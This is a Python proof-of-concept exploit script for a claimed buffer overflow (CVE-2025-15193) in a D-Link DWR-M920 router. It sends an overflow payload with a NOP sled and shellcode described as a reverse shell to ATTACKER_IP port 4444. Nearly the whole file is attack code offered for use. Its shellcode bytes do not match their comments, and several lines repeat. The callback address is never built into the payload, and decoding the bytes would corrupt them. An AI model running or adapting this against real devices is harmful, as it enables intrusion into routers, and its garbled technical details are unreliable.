#!/usr/bin/env python3
"""
CVE-2025-15193 PoC - D-Link DWR-M920 Buffer Overflow in formParentControl
Target: D-Link DWR-M920 <= 1.1.50
Vulnerability: Buffer overflow via submit-url parameter in /boafrm/formParentControl
CVSS: 8.8 (High)
"""
import requests
import sys
import argparse
def create_overflow_payload(length=1000):
"""
Generate overflow payload for submit-url parameter
Fill with 'A' characters and add NOP sled + shellcode
"""
# NOP sled for better exploitation reliability
nop_sled = b'\x90' * 100
# Shellcode for MIPSEL - reverse shell to attacker
# This connects back to attacker on port 4444
shellcode = b'\x50\x73\x06\x24\xff\xff\x0c\x24' # li a0, 0x1
shellcode += b'\x57\x10\x02\x24\x0c\x01\x04\x24' # li a1, 0x10000000
shellcode += b'\x55\x10\x05\x34\xfd\xff\x0c\x24' # li a2, 0x7fffffff
shellcode += b'\x04\x11\x04\x24\x0c\x01\x03\x24' # li v0, 0x104
shellcode += b'\x21\x28\x04\x24\x21\x20\x04\x24' # li a0, 1
shellcode += b'\xfa\xff\x0c\x24\x21\x30\x04\x24' # li a1, -6
shellcode += b'\x21\x38\x04\x24\x01\x01\x05\x24' # li a2, 0x10000000
shellcode += b'\x0c\x01\x04\x24\x01\x01\x05\x24' # li v0, 0x104
# Fill the rest with 'A' to reach target length
fill_length = length - len(nop_sled) - len(shellcode)
filler = b'A' * fill_length
# Return address - point to NOP sled in buffer
# This should be adjusted based on actual firmware
return_address = b'\x40\x00\x00\x00' # Example return address
payload = nop_sled + shellcode + filler + return_address
return payload.decode('utf-8', errors='ignore')
def exploit(target_ip, target_port=80, callback_ip='ATTACKER_IP', callback_port=4444):
"""
Exploit the buffer overflow vulnerability
"""
print(f"[*] Targeting {target_ip}:{target_port}")
print(f"[*] Generating overflow payload...")
# Create malicious payload
payload = create_overflow_payload(1000)
# Construct the exploit request
url = f"http://{target_ip}:{target_port}/boafrm/formParentControl"
# Data payload with overflow in submit-url parameter
data = {
'submit-url': payload,
'submit': 'Apply',
'ParentControl': '1',
'enable_parent': '1'
}
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-15193)',
'Content-Type': 'application/x-www-form-urlencoded'
}
print(f"[+] Sending exploit payload ({len(payload)} bytes)...")
try:
response = requests.post(url, data=data, headers=headers, timeout=10)
print(f"[+] Request sent. Status code: {response.status_code}")
print(f"[!] Check for reverse shell on port {callback_port}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return True
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='CVE-2025-15193 PoC')
parser.add_argument('target', help='Target IP address')
parser.add_argument('-p', '--port', default=80, help='Target port (default: 80)')
parser.add_argument('-c', '--callback', default='ATTACKER_IP', help='Callback IP')
parser.add_argument('-l', '--length', type=int, default=1000, help='Payload length')
args = parser.parse_args()
exploit(args.target, args.port, args.callback)
# Note: This PoC is for educational and authorized testing purposes only.